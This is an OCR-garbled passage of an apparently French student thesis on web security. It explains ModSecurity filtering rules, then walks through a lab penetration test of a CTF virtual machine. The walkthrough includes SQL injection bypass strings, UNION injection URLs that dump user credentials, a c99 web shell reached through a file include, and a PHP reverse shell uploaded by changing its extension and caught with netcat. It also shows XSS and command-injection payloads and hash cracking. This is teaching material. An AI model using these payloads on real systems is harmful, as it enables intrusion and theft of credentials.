le serveur. Elle permet notamment de prévenir la fuite d’informations via des
messages d’erreur.

2.5.Phase 5 : La journalisation :
Cette phase permet la journalisation des requétes, elle permet de définir
comment la transaction doit étre journalisée. Cette phase intervenant en dernier, le
traitement de la transaction est déja effectué. On ne peut donc pas bloquer une

transaction lors de cette phase.

Les phases 1 et 2 permettent d’interrompre une requéte avant qu’elle n’arrive
au serveur. Les phases 3 et 4 permettent elles d’interrompre une réponse avant
qu’elle n’arrive au client.
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/ Phase 1 :entéte de requéte \

/ N

Phaseb5 :iournalisation Phase 2 :corps de requéte
f\ /\
Phase 4 :Corps de réponse Phase 3 :entéte de réponse
——

\,’/

Figure 02: Phases de filtrage de ModSecurity

3.Création des régles :

Le ceeur de ModSecurity est constitué de I'ensemble des régles a appliquer.
Celles- ci sont écrites a l'aide de la directive SecRule.

3.1.Syntaxe de SecRule :

Pour vous donner un bref aper¢u du chapitre, voici l'ordre dans lequel on peut
re des recﬂm MnrNE'mmfv

(D~
1")

La syntaxe de SecRule.
Quelles sont les variables disponibles et comment on peut les utiliser.

Les opérateurs, et comment ils se rapportent a des variables.

4. Les expressions réguliéres.
SecRule: est la directive qui est utilisé pour créer des régles ModSecurity. La
syntaxe de base du SecRule est comme suit:

SecRule Variables Operateur|[Actions]

R N ==

3. 1 1.Variables :

MNAfin 1alla rmartia Aa 1a Ata it nnnlunm-
.IJ\./L.lLLlL qu\;uu k_lu,l uw U\/ ILI. .lU\.lu.UL\J Ull VUUL allul.] ol

ModSecurity définit prés de 80 variables : par exemple ARGS (les arguments de la
requéte),

REQUEST BODY, REQUEST COOKIES, REQUEST HEADERS,

RESPONSE BODY...

Il est vraiment possible d'analyser tous les éléments désirés. Ces variables peuvent
étre combinées par l'opérateur | (or) comme dans :

ARGS | REQUEST HEADERS:UserAgent . [Site 09]
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3.1.2. Operateur :

ModSecurity définit une vingtaine d'opérateurs : par exemple :

@beginsWith : la chaine commence par ...

@contains : la chaine contient ...

@endsWith : la chaine se fini par ...

@rx : mode expression réguliére

@pm : mode de correspondance paralléle (permet de tester plusieurs valeurs)

Man - Faal [€ita NAQT -
w\l\.l . J—l&ul. lUlIﬂ\l U/J .

3.1.3. Actions :

Les actions les plus courantes parmi la quarantaine disponible sont :
Log : Journalise la transaction dans le log Apache et ModSecurity
Deny : Bloque la transaction avec une page d’erreur

Redirect : Redirige ia requéte sur un auire serveur Web
Phase : Phase durant laquelle s’applique la régle (1 a 5). [Site 09]

Exemple:
Bloquer toutes les requétes ayant la chaine "secret" dans Utl
SecRule REQUEST _URI "secret"

Bloquer les commandes de suppression
SecRule ARGS "(rm|killjrmdir|drop)" "deny,log "

Fmnacher 'arrdc a
.Llllltlvvll\/l 1L UWVWVWVD v

SecRule REQUES

e

__URI "server-status"

Cette régle nous interdisons l'acces au répertoire icons, nous renvoyons comme
code erreur 404et nous rajoutons dans les messages de log
"tentative acces_au_repertoire icons"

SecRuie REQUEST_URI " icons " iog,deny,status:404,msg

""tentative acces_au_repertoire_icons"

Les regles peuvent s'appliquer a un dossier en particulier
<Directory "/var/www/info''>

SecRule REQUEST_URI "page2" deny,log,status:501
</Directory>
Ici nous interdisons la consultation de page2 dans le répertoire info.
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3.2.Variables et collections :

ModSecurity utilise deux types de variables: les variables standards, qui ne
contiennent qu’une seule valeur, et les variables des collections, qui peuvent contenir
plus d'une valeur

Pour accéder a un champ dans une collection, vous donnez le nom de la
collection suivi de deux points et alors le nom de 1'élément que vous souhaitez
accéder. Donc, si par exemple nous avons voulu examiner l'affluent dans une
requéte particuliere, nous utiliserions

ConDulo PINTTEQCT R ANTRC. Rafararcita
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Voila quelques collections qui sont disponibles dans ModSecurity

GEO

Une collection qui est initialisé lorsque vous utilisez l'opérateur @geoLookup pour
détecter le payer d’une adresse IP.

REMOTE_ADDR

Adresse IP de i'utilisateur distant.

REMOTE_HOST

Contient le nom d'héte de l'utilisateur distant, sinon elle contient I'adresse IP distante.
REMOTE_PORT

Le numéro de port distant utilisé.

REQUEST_BODY

Le corps de la requéte HTTP. Disponible uniquement en phase 2 et plus et si
SecRequestBodyAccess a été activé.

REQUEST COOKIES

Une collection contenant les données du cookie envoyé par le client.
REQUEST HEADERS

Une collection contenant toutes les en-tétes de la requéte envoyée par le client.
Exemple d'utilisation: SecRule REQUEST HEADERS:User-Agent.
SERVER _ADDR

L'adresse IP du serveur web.

SESSION

Une collection, qui sera utilisé pour stocker les données de session. Disponible
uniquement apres que sets id a éié uiliisé.

TIME_ DAY

Le jour actuel du mois (1-31)

TIME _HOUR

L'heure actuelle, en format 24-heure (0-23)

REQUEST_URI

L'URL de la demande, y compris la chaine de requéte compléte.
RESPONSE_BODY

Le corps de la réponse http : Le corps de la réponse est uniquement disponible dans
les phases 4 et 5, et seulement si SecResponseBodyAccess est activée.

68



Le pare-feu applicatif ModSecurity

RESPONSE_HEADERS
Les en-tétes de réponse HTTP. Certains en-tétes peuvent ne pas étre disponibles
avant la phase 5. [Site 09]

3.3.Les expressions réguliéres :

Une expression rationnelle ou expression réguliére est une chaine de caractéres
que I’on appelle parfois un motif et qui décrit un ensemble de chaines de caractéres

. y .
nnaccihlac calan 1ma avntava nracnica
PUPPDLULVD OVIVLIL ULV Oy LILAAV PIVVIov.

Les expressions réguliéres sont une partie importante de I'écriture des régles
ModSecurity. [Doc 10]

Les exemples suivants couvrirent une partie des formes d'expressions réguliéres les
plus utilisés:

Joy, [Jjloy , [0-9], [a-zA-Z], ~, ~Host, *, $, ~Host$, . (dot), p.t etc.

[0-5] Tout ies chiffreb de 0 a 9.

[a-zA-Z] Toute lettre de a - z, que ce soit en majuscule ou en minuscules.

A : Début d'une chaine de caractere.

~Host : Hote quand il se trouve au début d'une chaine.

$ : Fin d'une chaine de caractére

“Host$: Une chaine contenant seulement le mot Host.

. (dot): N'importe quel caractére.

\.microsoft : Ce qui signifie que I'expression réguliére correspondrait a des

noms d'hotes se terminant par .microsoft
Exemple:.*\.txt$. Tout le fichier texte.

n t - nat nht and not
l.'.‘t . l.lu\r, l.lu‘-’ “wuii\g l.ll.Ab

[Jj]oie : Toute chaine qui commence par un J majuscule ou minuscule j et suivie par
0, 1 et e. Correspondances par exemple les chaines de Joie, joie,

Exemples:
La regle ci-dessus bloque toute tentative d'acces a un site.dz
SecRule REMOTE_HOST "\site\.dz$' deny

~rimsen oo aman A Aag sncas AL

A ~vvs gignifisn A~wva Andda o o wAoali A An P e | Adnn an
\ v} Yul dSigiiuie LUU LUUT TAPITDOIVULL 1ITEZULICIT LUl SPULIU a Uld 1ULLD U LIULGS dU

terminant par.Site.dz

Restreindre l'acces a certaines heures du jour
SecRule TIME_HOUR !”(8]9]10|11|12]|13|14|15|16]17)$ deny
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4.Blocage des attaques :

4.1.Bloquer les méthodes des requétes non désirables :
Les trois requétes les plus couramment utilisés sont les méthodes de requéte
HTTP GET, POST et HEAD
La regle suivante bloque toutes les requétes HTTP a l'exception des GET,
POST, et HEAD:
SecRule REQUEST METHOD "!"(GET|POST/HEAD)$" "deny,status:405 "

4.2.Restreindre I'accés a certaines heures du jour :
Supposons que nous voulions pour restreindre l'accés a notre site de sorte qu'il
était disponible uniquement pendant les heures ouvrables :
SecRule TIME _HOUR !(8]9|10|11|12|13|14|15|16|17)$ deny

4.3.Blocage d'utilisateurs provenant des pays spécifiques :

I nous faut maintenant configurer ModSecurity pour qu'il sache ou trouver le
fichier de base de données GeoIP. Pour ce faire, nous utilisons la directive
SecGeoLookupDb et on place la ligne suivante dans votre fichier de configuration
modsec.conf
SecGeoLookupDb ' /usr/local/geoip/GeolP.dat"

4.4.Empécher les utilisateurs de certains pays :
Nous utilisons les deux régles suivantes:
Bloquer les utilisateurs de la chine
SecRule REMOTE_ADDR "@geoLookup" "deny,nolog,chain"
SecRule GEO:COUNTRY_CODE "@streq CN"
Le code de pays pour la Chine est le CN (pour I’ Algérie est DZ)

4.5.changer la signature de serveur:
SecServerSignature '"Microsoft-11S/6.0"

4.6.Bloquer les requétes du serveur proxy :
Une fagon de faire est de vérifier la présence de la X-Forwarded-For header
(I'entéte header X-Forwarded-For) dans la Requéte HTTP. Si l'entéte existe, cela
signifie que la demande a ét¢ faite par un serveur mandataire (serveur proxy).

Cette regle détecte et bloque les requétes par les serveurs proxy qui utilisent le X-

Forwarded-For header.
SecRule REQUEST_HEADERS:X-Forwarded-For "@gt 0" deny
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4.7.Cross-site Scripting :

Le cross-site Scripting, abrégé XSS, est un type de faille de sécurité des sites
Web, qui peuvent étre utilisées par un attaquant pour provoquer un comportement du
site Web différent de celui désiré par le créateur de la page (redirection vers un site,
vol d'informations, etc.) en exécutant du code malveillant en langage de script (du
JavaScript le plus souvent)

Voici quelques régles afin d'interdire le HTML et le JavaScript dans les

A
rannatac:
Ljuvies,

SecRule REQUEST _URI "script"
SecRule ARGS "<*script>""

4.8.Les tentatives d'exécution de commande Shell :

Les utilisateurs sont utilisés pour provoquer i'exécution des commandes ou
l'affichage d'un fichier que l'utilisateur n'aurait normalement pas les priviléges de
faire.

SecRule ARGS "(rmlls/mv/|killlcatlecho)"" deny"

4.9.Code Source révélation :

Normalement, en demandant un fichier avec une extension .php causera mod-
php pour exécuter le Code PHP contenu dans le fichier, puis retourne la page Web
résultante a l'utilisateur. Si le serveur web est mal configuré (par exemple si mod-php
n'est pas chargg), le fichier .php sera envoyé par le serveur sans interprétation (code

cnnres I‘\]’n’\ A;ennh“’\lo\
DVULVY iy MiopvVILIULY S

SecRule RESPONSE_BODY "<?" '"deny,msg:'"PHP source code disclosure
blocked'""

4.10.SQL injection :
ModSecurity permet la détection des attaques de type injection SQL.
Pour rappel, une injection SQL consiste a modifier une variable utilisée par une
requéic SQL de maniére que des commandes SQL  soient exécuiées.
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Quelques expressions réguli¢re de code SQL

SQL code Regular expression
UNION SELECT union\s+select
UNION ALL SELECT union\s+all\s+select
INTO OUTFILE into\s+outfile
DROP TABLE drop\s+table
ALTER TABLE alter\s+table

LOAD FILE load file

SELECT * gelect\s+*

La regle a appliquer pour contrer cette attaque serait:
SecRule ARGS "or+1[[:space:]]*=[[:space:]]1"

SecRule ARGS "select+from"

5. Remo :

Remo est un outil graphique permet de créer et de modifier des régles
ModSecurity en utilisant une interface graphique (dans votre navigateur) .

Remo est une application Web, ce qui signifie que vous pouvez y accéder
depuis n'importe quel navigateur une fois que vous l'avez installé.

Le fait que Remo est une application Web avec une interface graphique

signifie qu'il est possible pour les utilisateurs qui ne sont pas familiers avec le
Syntaxe des régles pour créer des ensembles de régles ModSecurity.

Assurer vous que vous avez installé Ruby sur votre machine avant d'installer REMO
Apres I’installation on peut accéder 4 Remo comme suit:
http://yourserver:3000/main/index. [Doc 09]

6. ModSecurity console :

Il est peut étre trés fastidieux a regarder et d'examiner manuellement les
ATLLL et Fraledtnemn tnvsemmnarrer (i alesawe Ao 1A\
VL1101 01D LIVILIICOLED Jjuulliaua \11viicy uc 1U5}

La console ModSecurity c’est un excellent outil qui vous permet d’afficher les
journaux d'audit en utilisant un navigateur web. La console est capable de collecter

les données des journaux d'audit a partir de plusieurs serveurs.

La console est fournie en tant que fichier binaire qui requiert I'environnement
d'exécution Java (JRE) et integre un serveur web, de sorte qu'il n'est pas nécessaire
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de l'intégrer avec Apache ou tout autre serveur tout simplement l'exécutable sera
démarrage avec serveur web sur le port 8888 ot les données de la console peuvent
€tre consultées en utilisant un navigateur Web. [Doc 09]

L'accés a la console:

Une fois que vous avez démarré I’exécutable de la console, vous pouvez
accéder a la console ModSecurity en visitant 'URL:
hitps://Mon Serveur: 8888 / dans un navigaicur Web. 11 est imporiani d‘uiiliser e
protocole https dans I'URL, pour étre plus sécurisé lors de 1'authentification

Pour configurer ModSecurity afin de transmettre les journaux d'audit a la
console nous allons besoin d'installer et configure un programme appelé mloge-
short qui exige le package

curl-devel pour communiquer avec la console quand il envoie ses données de
logCurl est un utilitaire permettant le transfert de fichiers. Il support les protocoles
FTP, FTPS, HTTP, HTTPS... et gére également les certificats SSL.

T T damnhitantsswn Ad21mmn mlatafamemen cldorestcdin oawan In ARAAdQ aneswesdur af
o B AIUVLIIIITLIUIT U UIIT Plal«ClUl 1T STLUL IBTY aAaVEl 1T lvivunovlul ll‘y T
le reverse proxy :
) .
Définition de reverse proxy

Un reverse proxy (« proxy inverse » en frangais) c’est un serveur qui permettra
de faire l'intermédiaire entre votre LAN et Internet et que vous pourrez placer dans
une DMZ. Le serveur ne fera qu'un relais des requétes http ou https, vers votre LAN.
Cela peut étre intéressant dans le cadre d'une application web. [Site 10]

HTTPS(443)

Internet Firewall ModSégcurity

(&4

Apache server

HTTP (80}

Apache server

Client

Figure 03: L’architecteur de ModSecurity et le reverse proxy
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Conclusion

Le module ModSecurity représente une solution compléte pour les
entreprises afin de sécuriser leurs applications web. Cet avantage permet de
At Atan A nig griebaad A245114 1

A A 1A 4 Atmn o A~ AL ot wam allhone. o A o
ISquiic 1SS Lo1ps uc UCPIVICIHICNIL 1Hiald dultuul U alcEol i< LUUC dDUUILU UCd

applications et ¢’est un facteur de stabilité et de sécurité.
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Chapitre 7

Cas pratique

Introduction :

Dans notre modeste travail, nous avons vu les différentes failles qui courent un
risque permanent pour les sites web, les problémes qu’elles causent nous ont poussés
a faire une étude exhaustive sur 1’origine de ces failles pour pouvoir sécuriser les
sites et les applications web par les attaques des hakers.

Dans ce chapitre, on va faire un test d’intrusion pratique pour voir comment réussir a
trouver les failles et aussi comment arriver a les exploiter et finalement trouver les
solutions pour parer a ces attaques.

A. Environnement matériel :
Pour faire le test d’intrusion, nous avons besoin d’une station.
B. Environnement logiciel :

Pour faire ce test d’intrusion, nous avons besoin de trois machines
virtuelles dans lesquelles nous y installons trois systémes d’exploitation Linux.

> La premiére et la deuxiéme machine comportent les sites dont nous allons
faire le test (CentOs et Ubuntu)

> La troisiéme machine, on y installe le pare feu mode Security et le reverse
proxy (Debian).

> La quatriéme machine est la machine de 1’attaquant (BackTrack).

Nous avons besoin également des outils pour scanner les ports et les
vulnérabilités comme
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> Nmap qui est un outil qui permet de faire le scan des machines d’un sous
réseau, d’en connaitre les ports ouverts, et donc probablement de connaitre
les services lancés sur chaque machine, de connaitre leurs versions et
potentiellement les vulnérabilités.

> Nikto est un scanner de vulnérabilités Open Source qui exécute des tests
complets sur des serveurs web, comme il peut scanner plus de 6400 fichiers
potentiellement dangereux. Il vérifie également les éléments de configuration
des serveurs telles que la présence de fichiers d'index multiples, les options
de serveur HTTP, et tentera d'identifier les serveurs Web et les logiciels
installés. [Site 14]

» Neteat est un utilitaire Unix simple qui permet de gérer les connexions
réseaux, c’est-a-dire qu’il est capable d’établir n’importe qu’elle connexion &
un serveur, en choisissant le port, I'TP etc. Il existe sur plusieurs systémes
d'exploitation et s'utilise en ligne de commande. [Site 14]

> DirBuster est un logiciel écrit en Java, permettant de reconstruire
I’arborescence compléte d’un site Web.
Ce logiciel contient par défaut 9 listes permettant une recherche approfondie
par dictionnaire. II reste cependant possible d’effectuer la recherche par brute
force. [Site 14]

1. Présentation des failles étudiées :

1.1. Failles SQL injection :

Dans cet exemple, nous tenterons d’accéder au compte a partir de login et le
password qui ne sont pas réels, le login et le password réels sont (kadman,
password), mais nous allons nous introduire dans ce compte en exploitant la faille
SQL injection

L

curity 4, ExploitDB A

Page d'administration

Cette page est reservee aux administrateurs ! Si vous étes n'en étes pas, un,
cliquez ici !

Entrez votre login / pass :

Errrrrrr—
o]
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En injectant une simple cote dans ’un des champs pour savoir si la faille sql
injection existe ou pas comme le montre I’image ci-dessous

Page d'administration

Erreur lors du traitement de la requete SELECT username, password FROM
user table WHERE username ='"AND password = "'

Dans les deux champs qui apparaissent dans ’image, nous écrirons (ahmed' or '1'='1)
ou 'or '1'="1 et par le biais de cet exemple, on peut accéder a ce compte.

Entrez votre login / pass :

Pour sécuriser cette faille, on utilise la fonction html specialchars().

1.2. Faille include :
Cette faille nous permet d’inclure un fichier quelque soit son extension, et si le
contenu du fichier qu’on a inclus n’est pas un code php, cette faille permet au serveur
d’afficher le contenu de ce fichier

| http://192.168.5. . ge=../salam.txt
Nttp://132.168.5.134/pentest/fi. phpzpage=. fsalamtxt
™ BackTrack Linux ( Offensive Security ¥ Exploit-DB MAircrack-ng SESEORG.org [B Music »

Salam alaykom

Si le contenu du fichier qu’on a inclus est un code php, le serveur va nous interpréter
ce code

“~ BackTrack Linux L Offensive Security. . Exploit-DB HAircrack-ng BE SEORG.org [ Music »

Page d'administration

> page est réservee aux administrateurs ! Si vous

2z votre login / pass :
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Si c’est le cas, on peut exploiter la faille include pour interpréter le fichier Shell c99
qui est une interface graphique qui permet de manipuler les commandes unix.

= BackTiack Linux  j Offensive Security ¢, Exploit-DB fAircrack-ng BESFORG.org BRMusic +

W co99Shell v. 1.0 pre-release build #16 ¥

uname -a: Linux deblan 2.6.26-2-686 #1 SMP Sun Jun 21 04:57:38 UTC 2009 I686
uid=33(www-data) gld=33({www-data) groups=33(www-data)

Safe-mode: OF t 4

Jvar/www/ pentest/ T rw
Free 919.53 MB of.5.04 GB (17.8%)

=  Encoder Tools Proc. FTP brute Sec. SQL  PHP-code Updale Feedback  Sell remove Logout

Pour sécuriser cette faille include, on utilise un tableau qui contient que les pages
qu’on va inclure.

1.3. Faille upload :

La faille upload nous permet d’introduire un fichier texte ou image dans un
répertoire de site, si cette faille est sécurisée, par exemple, nous pouvons introduire
que les images, donc, nous allons utiliser I’outil live http headers qui nous permet de
capter la requéte et effectuer des modifications. L’image suivante nous montre le
fichier capté (s.jpg)

_'Live HTTP headers

Headers g Generator | Config ! About f

HTTP Headers i el el e
Content-Type: multipart/fform-data; boundary=--------==-—————ceeeee - 13353... fia
Content-Length: 5833 B

----------------------------- 13353461764376296271649411807 |

Content-Disposition: form-data; name="fichier”; filename="s_jpg"

Content-Type: image/jpeg ‘

i

<?php |

// php-reverse-shell - A Reverse Shell implementation in PHP i
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net s
If Save All... l l Replay... ] Capture l Clear l L Close i

Dans le pas qui suit, on va modifier I’extension de fichier s.jpg en le rendant s.php.
Ce dernier s’agit de revers Shell qui permet d’ouvrir une session en tant que serveur
apache

¥l send POST Content ?
[ oo 13353461764376296271649411807\r\n

| Content-Disposition: form-data: name="fichier"; filename="s.php'"\r\n
| Content-Type: image/jpeg\rin

\rn

<7?phpw\n

/l php-reverse-shell - A Reverse Shell implementation in PHP\N

/1 Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n !

SAN |
// This tool mav be used for leaal purposes onlv. Users take full responsibilitvin g

Content-Length: 5833

Replay J { Close !
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Voici I’image qui nous montre comment ouvrir la session.

S Connecting. .. e

| Eile ' Edit . View Terminal Help ;
root@bt: '# nc -v -1 -p 4444 A
listening on [any] 4444 ...

connect to [192.168.5.133] from mysite.dz [192.168.5.134] 43693

Linux debian 2.6.26-2-686 #1 SMP Sun Jun 21 04:57:38 UTC 2009 i686 GNU/Linux
09:096:29 up 1 day, 13:20, 2 users, load average: 0.60, 6.600, 0.00

USER Y FROM LOGING IDLE JCPuU PCPU WHAT
kadman tty7 :e Wedos 333 1:14m ©.62s x-session-manag
kadman pts/0 :9.0 wWedos Yoo i ©.72s 40.49s gnome-terminal

uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2s

Afin de sécuriser cette faille d’upload, on change la place du répertoire en dors du
répertoire racine de notre site dont nous avons mis les fichiers.

1.4. Faille XSS :

Cette faille nous permet d’injecter un code java script dans un champ pour
voler les cookies qui contient des informations importantes telles que le mot de
passe.

Et dans cet exemple, nous injectons un simple code de java script qui contient la
fonction « alert » qui nous affichera le mot hacking dans une fenétre

N

<script>alert{"hacking");</script>

Voici ’image qui nous montre la fenétre.

B e R o RS ; 2 D R e ¥ XSS 'Meozilla Firefox
File Edit
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Nous pouvons coder ce code java script pour, quand, on I’envoie a la victime sur un
lien, la victime va en cliquer directement sans s’en rendre compte. L’image suivante
nous démontre le codage de ce code.

Encryption « Oother »

Encoding »

Load URL BBCscripts3Eale rtes25%22hackings22u 20%36B%3Cu2fsc ripte3E

Split URL

Execute

Quand on insere ce code dans une barre d’adresse, on obtient le méme résultat que la
précédente.

-ren.php?search=" s

__ 1p:/192.1685.L34pentestjsearch phpsearch=3s3Cscipt 3Ealert®28% 22hackingh22%29% 3% 3CH2sCriptos3E.

) Offensive Security §, Exploit-DB. " Aircrack-ng SESEORG.org M

Pour sécuriser cette faille, on utilise la fonction htmlentitises().

1.S. Commande excutione :
La cause originale de cette faille est la fonction system(), si on attribue a cette
fonction une variable, cette derniére va nous poser un probléme dans la mesure ou
nous pouvons exécuter des commandes system 4 travers "url

On peut connaitre I’ensemble des dossiers disponibles en utilisant la commande Is.

||| http:/192.168.5.134/pentest/cmd.php?ecmd=ls

™ BackTrack Linux  § Offensive Security 4] Exploit-DB Aircrack-ng BESEORG.org [WMusic ¢

admin.php char.php cmd.php download fi.php r.php rchar.php search.php secret.html style.css test.php upload.php xss.php xss.php

On peut créer un répertoire en utilisant la commande mkdir .

= BackTrack Linux  j Offensive Security §,Exploit-DB  TAircrack-ng  BESEORG.org @ Music »

admin.php char.php cmd.php download faci fi.php r.php rchar.php search.php secret.html style.css test.php upload.php xss.php xss.php
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On peut supprimer un répertoire a ’aide de la commande rmdir.

R/ 102-168 n-CrO NP7 ema=Ie! | mje

http://192.168.5.134/pentest/cmd.php?cmd=rmdir faci

™ BackTrack Linux | Offensive Security ¢, Exploit-DB Aircrack-ng SESEORG.org fMMusic +

admin.php char.php cmd.php download fi.php r.php rchar.php search.php secret.himl style.css test.php upload.php xss.php xss.php

Pour sécuriser cette faille, il ne faut jamais donner une variable & la fonction system.
Par exemple, si on veut afficher I’heure, on donne 4 la fonction system un parameétre
date. System('date' ).
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2. Mise en ceuvre du test :

2.1. Le premier site a tester :

Dans cette partie, nous allons présenter la mise en ceuvre du test d’intrusion
sur un site web. Dans un premier temps, nous allons faire un test d’intrusion sur
I’ensemble des failles en commengant par utiliser les outils qu’on a défini.

La premiere chose qu’on doit connaitre est I’adresse ip de la machine qui contient le
sit¢e que nous allons tester en utilisant un scan de ping Nmap par laquelle nous
connaitrons 1’adresse IP.

1/var/www/s# nmap |-
Starting Nmap 5.59BETA1 ( Lp idp.org ) at 2012-05-15 23:12 EDT
Nmap scan report for 1 §
L 1S up (P.00015s 1

aress:

dp ‘scan repor
15 up (0.6 :
MAC Address: :50:56:E 8 (WVMware)

) S5can report for 192. $92129

(o S Ho G 3 e M 2 ! et
.130

H is up (0.000335 [ T
MAC Address: :0C:2 27 (Viware)
Nmap scan report for 1 0 254

(VMware)

(5 hosts up) scanned 1n 44.74 seconds

Dans un deuxiéme temps, on va scanner les ports de cette application en
utilisant I’outil Nmap et voila comment utiliser Nmap pour trouver les ports ouverts
L’objectif de ce scan est de collecter des informations qui sont trés utiles pour le
hacker (les ports ouverts, les versions des différents services qui tournent sur les
ports ouverts, la version et la distribution du systéme d’exploitation, etc) afin de
trouver des éventuelles vulnérabilités.

4.3 (protocol 2.8)
((Cent0S))

{{Cent0S))

0S and Service detection performed.’ Please report any incorrect results at htt
//omap.org/submit/ .
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Par la suite, nous procédons & scanner les vulnérabilités et on utilise dans ce cas
I”outil Nikto.

Quand on fait cette commande, nous avons trouvé juste des informations sur les
répertoires des du site :

Remarque : I’outil Nikto n’a pas détecté aucune vulnérabilité, mais le site
qu’on est en train de scanner est vulnérable.

Apres le scanne, on a retrouvé le fichier SQL qui, quand on le met sur le
navigateur, ce dernier nous donne le fichier de base de donnée.

Tout d’abord. nous allong afficher le site -

v QUTVi, iU wS Qaavaad Qaaaviaivi iU Save

& CTF 6 - Widgets Inc. - Mozilla Firafox I TR
Eichier Edition Affichage Allera Marque-pages Outils 2

& T | hupie21essazo0s

CTF 6 Widgets Inc. Homepage
Home | Login |



Cas Pratique
R e e B e e T e e e o]

Nous visualisons le répertoire sql, on trouve le fichier sql de la base de données
« db.sal ».

BB Index of /sqi - Mozilia Firefosx IR
Eichier Editicon Affichage Lller & Marqu

e-pages Dutils 2

@@ - > - B E32 FRY [ httpsaozie8.5.130/5q1,

Index of /sqgl

Name Last modified Size Description

& Parent Directory -
[P ab.sal 29-Jun-2009 09:03 5 4K

Apache2.2.3 (CeneOS) Server at F92.I68.5. 730 Pore SOG

Dans le fichier de base de données, nous avons récupéré nom utilisateur et un mot de
passe.

INSERT INTO user SET user id = 1, user username='admin', user password=md5 ('adminpass'):

Quand on place username ‘admin’ et password ‘adminpass’ sur le site et on accede
avec, nous devenons 1’administrateur de ce site, 13, on peut affiche ce que nous
voulons afficher, et on supprime ce que nous voulons supprimer.

Widgets Inc.
CTF 6 - Widgets Inc. Homepage

Home | Log In

About Us Log In

Are vou looking to buy or sell widgets? Widgets,
Inc. is the internet's longest running and most
respected vendor of widgets. We can supply your
widget needs or provide you with reseller
materials. Whatever your interest in widgets,
we're here to help you. Our dedicated staff of
professionals can provide 24-7 widget support.

M PIEBSC Au(hmticale — s G
Username: admin

i
J
! Password: ™" |
f
|
|

(Login

2.2, Les failles détectées dans notre site :
2.2.1. SQL injection :

Comme I"outil automatique n’a pas détecté¢ des vulnérabilités nous allons essayer de
les trouver manuellement, Dans cette partie nous allons présenter comment détecter
et exploiter la faille SQL injection (union).

Premiérement nous naviguons sur le site afin de trouver quelque chose comme

« ... ?variable=valeur » dans I’'URL
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& CTF 6 - Widgets Inc. - Mozilla Firefox|

s

Fichier Edition Affichage Allera Marque-pages Outils ?

1;] v L: h Li':?;] (%] 7:7!} L] http:,-'/l92.168.5.130,-"?id=27\union+select+1,version0,3,4,5,6‘7

Posted by: 7

3

On a utilisé la fonction groupe_contact( table_name) pour afficher toutes les tables
de la base de données « information-schema ».

(& CTF 6 - Widgets Inc. - Mozilla Firefo
Fichier Edition Affichage Allera Marque-pages Outils ?

A N
e R e
53 V

T 2

Home | LogIn

Voici les tables qu’on a trouvées et parmi ces tables on a trouvé la table « user ».

) L htprnaase sz

d=2+union+select+1,group_concatitable_name), 3 4,5,6,7+from+information_schema.tables--

=GR A A IR

% ’W iy T
(&) view-source: - Source de: http://192.168.5.130/%id=2+union+select+1,gr

Fichier Edition  Affichage

cat{table_name),34,56,7+from+information_schema.tables-- - e

i

VIEWS, event,log,user, s__p:i\f, db, func, help category,help keyword,help relation,help topic,host,

Nous allons coder le mot « user » a I’aide de la fonction (MySQL CHAR()) afin que
IPURL puisse la comprendre.

Ty

I
Ifjle Edit VWiew History- Bookmarks Jools ﬂelp.

; . BackTrack Linux & Offensive Security _# Exploit-DB

—— ‘ XSS5 = Encryptiorn

o Load URL | LEMNS O e s L e
| O Spiit URL MSSOL s
Oracle Lt
Union select statement
Spaces to inline comments

T Aircrack-ng BESEORJ

Encoding = Other -

Basic info column

Convert using UTF-8
Convert using Latinl
MySQL CHAR()

@ Execute
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Quand on a codé le mot user & I’aide de MySQL CHAR (), on a obtenu le code
affiché dans la figure qui suit

Encryption »

Load URL CHAR(117, 115, 101, 114)

Split URL

Execute

Voici I'URL par laquelle nous trouvons les colonnes de la table user et cela en
utilisant la fonction groupe_concat(column_name)

Allerd  Marque-pages  Outils 2

@ 12168.5.130/%id=2+union+ select+1,group_cencat(column_name),3 4,5,6,7+from+information_schema.columns+ where+table_name+ like+ CHAR(117, 115, 101, 114)

Apres cette figure, nous allons afficher les colonnes de la table user, parmi ces
colonnes, nous avons obtenu (user_ username et user_password)

Cyir PPTTRT on n 1tilicd 1o fanntinan rnnnat() ar’an i danna lac naramdtrac
Ul 1 U.I.\I._l7 Vil @ ULlilovw 1G4 1viilviuivll \/Ull\/ut\} \1“ Vil 11Ul uvluiavw 1w Pululll\lbl\JD

username et user_password) pour afficher le nom utilisateur et le mot de passe

B T 6 Widgets e “Voaln o
Fichier Edition Affichage Allera Marque-pages Outils 7

g I

iy G Ve
\',:J i ﬁ# &, 7‘;\ L hrtp:.//192.1685.130‘!?id:’+union+selsct+l,concat(user_usemame,OxBa,user_paswzord),3,4,5,6,7+frcm+user

Dans la figure ci-dessous, on a obtenu username et password, ce dernier est crypte,
néanmoins, il y’a des méthodes pour le décrypter et dés qu’on le décrypte, nous
trouvons ce password qui est adminpass

Par la suite, nous accédons au site par le biais (admin, adminpass) pour que nous
devenions I’administrateur de ce site en question.

admin:25ed4ee4e9229397b6b17776bfceafS8e7
Posted by: 7

3

En fin, nous procédons a trouver le password, on utilise dans ce cas 1’outil
« hashcat »

(o]e]
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it “. asleap
& Accessories

o 7, BackTrack » Information Gathering » “, chntpw
_‘i Graphics i I Wulnerability Assessment ", cowpatty
() Intemet » | [f Exploitation Tools " ; *. cowpatty
1l Office - E Privilege Escalation v E Password Attacks “ crunch
() Other " m Maintaining Access » i Privilege Escalation Media » h \ C?'PP
3 sound & video > Reverse Engineering - 5 Protocol Analysis , dictstat
RFID Tools » \‘ m Spoeofing Attacks ', eapmdSpass

E Stress Testing > ", ferackaip

H Forensics »
Reporting Tools »

B services .
Miscellaneous »

. genkeys

“7, hashcat-utils

~ %, john the ripper

2 7, maskgen

S M 2, oclhashcat(ATl)

“7, oclhashcat-lite{(AT!)
. oclhashcat-lite(Nvidia)

"2, oclhashcat{Nvidia)

Voila la commande par laquelle nous connaitrons le password
Hash.txt : ¢’est un fichier texte qui contient le password crypté qu’on a déja trouvé.
Pass.txt : il s’agit d’une base de données qui a plusieurs passwords.

L’outil hashcat prend un mot du pass.txt, il va le crypter et il le compare avec le
password du fichier hash.txt. Si le mot et le password sont identiques, haschcat va
. nous afficher le password.

| ile  Edit View . Terminal Help
L/ pe is/ha

| 2.2.2. Faille upload :

l Dans cette partie, On va présenter comment détecter et exploiter la faille

upload. En effet, nous allons essayer d’introduire (upload) un shell (Backdoor) dans
un répertoire de notre site.

